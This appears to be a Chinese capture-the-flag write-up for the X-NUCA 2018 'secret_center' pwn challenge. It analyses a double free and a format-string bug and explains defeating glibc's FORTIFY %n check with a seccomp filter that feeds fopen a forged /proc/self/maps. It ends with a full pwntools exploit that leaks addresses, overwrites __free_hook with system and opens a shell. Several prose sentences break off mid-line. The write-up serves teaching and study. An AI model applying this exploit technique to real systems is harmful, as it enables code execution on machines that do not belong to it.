

此题是X-NUCA'2018的一道题目，在比赛过程中没有队伍解出。赛后在得到AFang师傅的提示后复现成功。题目及附件[下载](#)

## 题目及漏洞分析

题目中初始化过程中首先从'secret.txt'中读入一个字符串，存放在申请的堆中。

```
int get_secret()
{
    int v0; // eax
    int v1; // ebx

    bss_malloc_secret = malloc(0x78uLL);
    v0 = open("secret.txt", 0x80000);
    if ( v0 == -1 )
        exit(1);
    v1 = v0;
    if ( (unsigned int)read(v0, bss_malloc_secret, 0x78uLL) == -1 )
        exit(1);
    return close(v1);
}
```

用户可以输入size申请不大于0x18f大小堆块，并向堆块中输入内容，内容首先输入在栈上，然后通过memcpy复制到堆上，此时栈上是有用户输入的。然后逐字节与secret

```
unsigned __int64 input()
{
    int v0; // ebp
    unsigned __int64 v1; // kr08_8
    int i; // eax
    __int64 v3; // rbx
    size_t size; // [rsp+Ch] [rbp-22Ch]
    unsigned __int64 v6; // [rsp+218h] [rbp-20h]

    v6 = __readfsqword(0x28u);
    puts("Secret Size: ");
    LODWORD(size) = 0;
    scanf("%d", &size);
    v0 = size;
    if ( (unsigned int)(size - 0x65) > 0x12A )
        exit(1);
    bss_malloc_user = malloc((unsigned int)size);
    bss_size = v0;
    write(1, "Content: \n", 0xAuLL);
    syscall(0LL, 0LL, (char *)&size + 4, (unsigned int)size);
    memcpy(bss_malloc_user, (char *)&size + 4, (unsigned int)size);
    v1 = strlen((const char *)bss_malloc_secret) + 1;
    for ( i = 0; ; ++i )
    {
        v3 = i;
        if ( i >= v1 - 1 )
            break;
        if ( *((_BYTE *)bss_malloc_secret + i) != *((_BYTE *)bss_malloc_user + i) )
        {
            puts("Not Good Secret :P\n");
            break;
        }
    }
    if ( v3 == strlen((const char *)bss_malloc_secret) )
        give_vmmmap();
    _fprintf_chk((__int64)stderr, 1LL, (__int64)&size + 4);
    return __readfsqword(0x28u) ^ v6;
}
```

在释放函数中，程序可以对input函数中申请的堆块释放，但没有把指针清空，存在悬垂指针，导致double free。

```
void delete()
{
    free(bss_malloc_user);
}
```

并且可以通过edit函数，对之前的堆块进行修改，由于悬垂指针的问题，存在UAF。

```
__int64 edit_secret()
{
    unsigned int v1; // [rsp+Ch] [rbp-Ch]

    write(1, "size: \n", 7uLL);
    scanf("%d", &v1);
    if ( (signed int)v1 <= 0 || v1 >= bss_size )
        exit(1);
    write(1, "Content: \n", 0xAuLL);
    return syscall(0LL, 0LL, bss_malloc_user, v1);
}
```

此外，用户可以通过guard\_ready函数，首先通过malloc申请一个0xf0的堆块，并且对这个堆块初始化一些数据，这个数据是一段预置的seccomp规则，后续再说。

在set\_guard函数中，通过prctl函数将之前预置的seccomp规则生效。此处存在一个问题，由于程序可以任意设置大小的堆块，而设置seccomp规则的函数与ptctl不在一个

```
int set_guard()
{
    int result; // eax
    __int16 v1; // [rsp+0h] [rbp-18h]
    __int64 v2; // [rsp+8h] [rbp-10h]

    v1 = guard_num;
    v2 = bss_guard;
    if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
        exit(1);
    result = prctl(0x16, 2LL, &v1);
    if ( result )
    {
        perror("what?");
        exit(1);
    }
    return result;
}
```

## 漏洞利用

程序存在两个显式漏洞堆漏洞和格式化字符串。但是fprintf\_chk函数不能使用%n写入数据，由于输出是stderr的情况也不能泄露数据。并且由于程序开启了全部的保护规则

```
■■[$] <> checksec secret_center
[*] '/home/p4nda/Desktop/pwn/other/xnuca/secretcenter/secret_center'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
FORTIFY:   Enabled
```

## seccomp

seccomp是在内核中实现的对于用户系统调用及其参数的过滤，决定是否继续调用此系统调用，相当于自废武功，在CTF攻防中很容易遇到，一般会禁用execve这样的系统调

在内核处理请求系统调用时在此处（\arch\x86\entry\entry\_64.S line 247）进入检查，

```
/* Do syscall entry tracing */
tracesys:
    movq    %rsp, %rdi
    movl    $AUDIT_ARCH_X86_64, %esi
    call    syscall_trace_enter_phase1
    test    %rax, %rax
    jnz     tracesys_phase2      /* if needed, run the slow path */
    RESTORE_C_REGS_EXCEPT_RAX /* else restore clobbered regs */
    movq    ORIG_RAX(%rsp), %rax
```

```

        jmp entry_SYSCALL_64_fastpath    /* and return to the fast path */

tracesys_phase2:
    SAVE_EXTRA_REGS
    movq    %rsp, %rdi
    movl    $AUDIT_ARCH_X86_64, %esi
    movq    %rax, %rdx
    call    syscall_trace_enter_phase2

```

具体的检查机制在\arch\x86\net\bpf\_jit\_comp.c中。

好在david942j@217已经写出一套可以方便分析seccomp功能及编写seccomp的工具[seccomp-tools](#)

如分析程序预置的seccomp规则。

```

■■[$] <> seccomp-tools dump ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
4
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
5
line  CODE  JT   JF      K
=====
0000: 0x20 0x00 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x01 0x00 0xc0 0000003e  if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00 0x00000000  return KILL
0003: 0x20 0x00 0x00 0x00 0x00000000  A = sys_number
0004: 0x15 0x00 0x01 0x00 0x000000e7  if (A != exit_group) goto 0006
0005: 0x06 0x00 0x00 0x00 0x7fff0000  return ALLOW
0006: 0x15 0x00 0x01 0x00 0x00000000  if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x15 0x00 0x01 0x00 0x00000002  if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x15 0x00 0x01 0x00 0x00000001  if (A != write) goto 0012
0011: 0x06 0x00 0x00 0x00 0x7fff0000  return ALLOW
0012: 0x15 0x00 0x01 0x00 0x00000003  if (A != close) goto 0014
0013: 0x06 0x00 0x00 0x00 0x7fff0000  return ALLOW
0014: 0x06 0x00 0x00 0x00 0x00000000  return KILL

```

## fprintf\_chk

这个函数在潜意识里觉得这个函数的格式化字符串漏洞是没有办法利用的。如执行%n

```

■■[$] <> ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
2

```

```
Secret Size:
123
Content:
%n
Not Good Secret :P
```

```
*** %n in writable segment detected ***
[1] 42169 abort (core dumped) ./secret_center
```

可以看到%n被检测出来，可以看一下检测的逻辑在glibc-2.23\stdio-common\vfprintf.c line 892

```
if (! readonly_format)
{
    extern int __readonly_area (const void *, size_t)
    attribute_hidden;
    readonly_format
    = __readonly_area (format, ((STR_LEN (format) + 1)
        * sizeof (CHAR_T)));
}
if (readonly_format < 0)
    __libc_fatal ("*** %n in writable segment detected ***\n");
}
```

可以看到readonlyformat是一个全局变量，当format不通过\_\_readonly\_area检测时，会返回一个负数，从而导致程序结束。

再看一下\_\_readonly\_area(glibc-2.23\sysdeps\unix\sys\linux\readonly-area.c)，通过fopen打开"/proc/self/maps"，来判断ptr是否是只读段，这样我们好像只要让fp

由于我们没有其他权限，不能修改"/proc/self/maps"，可以看能否从fopen中做文章。

## fopen

提到fopen就不得不提到一个结构体\_\_IO\_FILE，这个结构体在IO利用方法里经常遇到，与通常open打开的文件不同的是，其为每个文件定义了缓冲区和虚表函数，而利用f

```
struct _IO_FILE {
    int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

    /* The following pointers correspond to the C++ streambuf protocol. */
    /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    char* _IO_read_ptr; /* Current read pointer */
    char* _IO_read_end; /* End of get area. */
    char* _IO_read_base; /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr; /* Current put pointer. */
    char* _IO_write_end; /* End of put area. */
    char* _IO_buf_base; /* Start of reserve area. */
    char* _IO_buf_end; /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base; /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
#ifdef 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
}
```

```

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

```

而fopen中真正打开并填写fileno字段的函数在\libio\fileops.c中，

```

_IO_FILE *
_IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot,
               int read_write, int is32not64)
{
    int fdesc;
#ifdef _LIBC
    if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
        fdesc = open_not_cancel (filename,
                                  posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
    else
        fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
    fdesc = open (filename, posix_mode, prot);
#endif
    if (fdesc < 0)
        return NULL;
    fp->_fileno = fdesc;
    ...
}

```

由于我们可以控制seccomp从而控制系统调用的访问，我们可以将此次打开返回ERROR，而此时，open的返回值为0，此时fopen并不认为文件打开失败，而是认为其fileno是0，此时程序会从STDIN中读取数据，进行判断。

既然可以控制程序读入的内容，我们可以输入一个伪造的maps数据，使其认为内存是不可写的，这样就可以绕过判断，构造如下数据：

```
0000000000000-7fffffff r-xp 00000000 00:00 0 /bin/p4nda
```

这样我们可以绕过fprintf\_chk判断，利用%n来写数据了。

## 利用思路

### 沙箱构造

我们可以构造这样一个沙箱规则，当遇到系统调用时open时，判断其参数的最后一个字节是否是libc中"/proc/self/maps"的地址，如果是就返回ERROR，否则继续。

后续还有一个坑点，当fopen检查完后，会fclose关闭上述文件，此时用户stdin会被关闭，造成无法后续输入，这样简单，只需把close调用也关闭即可。

最终沙箱规则如下：

```

A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

```

利用seccomp-tools生成这样的规则：

```

■■[$] <> seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm -
line  CODE  JT   JF      K
=====
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010

```

```
0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010  A = args[0]
0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
```

## 格式化字符串

已经知道了如何绕过%n的检测了，由于没有已知的地址，向哪里写数据又是一个问题，先看一下栈上有哪些数据吧

```
Breakpoint __fprintf_chk
pwndbg> x /40gx $rsp
0x7fffffff328: 0x00005555555554f4d 0x0000000000000000
0x7fffffff338: 0x0000007b00000000 0x00000000ff0a7025
0x7fffffff348: 0x0000000000000000 0x0000000000000000
0x7fffffff358: 0x0000000000000000 0xff000000ff000000
0x7fffffff368: 0x0000ff0000000000 0x0000000000000000
0x7fffffff378: 0x0000000000000000 0x0000000000000000
0x7fffffff388: 0x00007ffff7b09ef9 0x00007ffff7dd1b20
0x7fffffff398: 0x00000000000000080 0x0000000000000000
0x7fffffff3a8: 0x00007ffff7a948c9 0x0000000000000000
0x7fffffff3b8: 0x00007ffff7a8e86b 0x0000000000000000
0x7fffffff3c8: 0x00000000000000a0 0x00000000000000ff
0x7fffffff3d8: 0xffffffffffffff00 0x000055555555757000
0x7fffffff3e8: 0x00000000000001000 0x00000000f7dd7390
0x7fffffff3f8: 0x0000000000000000 0x00007fffffd530
0x7fffffff408: 0x00007ffff7f7fea88 0x00007fffffd560
0x7fffffff418: 0x00007fffffd5c0 0x00000000ffffff
0x7fffffff428: 0x00007ffff7dd1b20 0x0000000000000080
0x7fffffff438: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7fffffff448: 0x00000000000002710 0x0000000000000000
0x7fffffff458: 0x00000000000000a 0x00007fffffd57c
pwndbg> x /s 0x000055555555757010
0x55555555757010: "DwHxGpmDtDevggh"...
```

可以看到，在0x7fffffff3e0这里，有一个离secret很近的地址，可以通过低字节修改使其指向secret，这样由于判定条件时，不相等的位置是否等于strlen(secret)，这样只

```
fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
```

此时可以拿到vmmap内容，后续可以再次通过格式化字符串修改\_\_free\_hook为system就可以拿到shell，就是这样的格式化字符串构造有点烦...

堆漏洞也可以利用，不过由于有访问次数的限制，我总是差一次访问，就没有细究这种方法是否可行。

## EXP

```
from pwn import *
import time
debug=0

elf = ELF('./secret_center')
libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libc_name)
context.log_level = 'debug'
if debug:
    p = process('./secret_center')
else:
    #p = remote('106.75.73.20', 8999)#process('./pwn1')
    p = remote('127.0.0.1', 10006)
    , , ,

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010  A = args[0]
0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
```

```

0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
0011: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
'''

def z(a=''):
    if debug:
        gdb.attach(p,a)
def delete():
    p.recvuntil('>\n')
    p.sendline('3')
def guard_ready():
    p.recvuntil('>\n')
    p.sendline('4')
def set_guard():
    p.recvuntil('>\n')
    p.sendline('5')
def edit(size,content):
    p.recvuntil('>\n')
    p.sendline('6')
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('Content: \n')
    p.send(content)
def input(size,content):
    p.recvuntil('>\n')
    p.sendline('2')
    p.recvuntil('Secret Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: \n')
    p.send(content)
    #sleep(0.1)
def rule(code,jt ,jf ,k):
    return p16(code) + p8(jt) + p8(jf) + p32(k)
def build_rule():
    payload = ''
    payload+= rule(0x20 ,0x00, 0x00, 0x00000004) # A = arch
    payload+= rule(0x15 ,0x00, 0x08, 0xc000003e) # if (A != ARCH_X86_64) goto 0010
    payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = sys_number
    payload+= rule(0x15 ,0x06, 0x00, 0x00000003) # if (A == close) goto 0010
    payload+= rule(0x15 ,0x05, 0x00, 0x000000e7) # if (A == exit_group) goto 0010
    payload+= rule(0x15 ,0x00, 0x03, 0x00000002) # if (A != open) goto 0009
    payload+= rule(0x20 ,0x00, 0x00, 0x00000010) # A = args[0]
    payload+= rule(0x54 ,0x00, 0x00, 0x000000ff) # A &= 0xff
    payload+= rule(0x15 ,0x01, 0x00, 0x0000007c) # if (A == 124) goto 0010
    payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) # return ALLOW
    payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
    return payload

input(0xF0 , 'p4nda') #1
delete()#2
guard_ready()#3

rule_data = build_rule()#4
edit(len(rule_data),rule_data)#5
set_guard()#6
#z('b fopen\nb __fprintf_chk\n')

fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
p.recvuntil("Not Good Secret :P\n\n")
maps = '000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda'
p.sendline(maps)
input(0x68, '\x00')#8
libc_address = 0
heap_address = 0
pie = 0
while 1:
    tmp = p.readline()

```

```

if "close" in tmp:
    tmp+= p.readline()
    tmp.replace("It's close.. Try to get a shell!\n",'')
print '[?]',tmp#.split('-')[0]
if ('libc-2.23.so' in tmp):
    addr = int('0x'+tmp.split('-')[0],16)
    if libc_address == 0:
        libc_address = addr
if 'heap' in tmp:
    addr = int('0x'+tmp.split('-')[0],16)
    if heap_address == 0:
        heap_address = addr
if 'secret_center' in tmp:
    addr = int('0x'+tmp.split('-')[0],16)
    if pie == 0:
        pie = addr

if (libc_address*heap_address*pie != 0):
    break
print '[+]libc_address',hex(libc_address)
print '[+]heap_address',hex(heap_address)
print '[+]pie',hex(pie)
now = 0
last= 0
fmt = ('%256p'*33)
target = libc_address+libc.symbols['system']
where = libc_address+libc.symbols['__free_hook']
for i in range(6):
    now = (target>>(i*8))&0xff
    if last<now:
        fmt+= '%'+str(now-last)+'c' + '%hhn'
    else:
        fmt+= '%'+str(0x100+now-last)+'c'+ '%hhn'
    last = now

fmt+=';sh'
fmt = fmt.ljust(0xe0,'\0')
for i in range(6):
    fmt+= p64(0x31)+p64(where+i)
input(0x150,fmt+'\0')#9
print 'fmt:',hex(len(fmt)),fmt
p.recvuntil('It\'s close.. Try to get a shell!')
p.sendline(maps)
delete()

```

p.interactive()

总之，题目考察了很多东西，还是很有意思的一道题目，感谢AFang师傅的帮助，此篇被我同步到了[我的blog](#)。

点击收藏 | 0 关注 | 1

[上一篇：xnuca-Strange Int...](#) [下一篇：中东地区DNSpionage安全事件分析](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)



[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)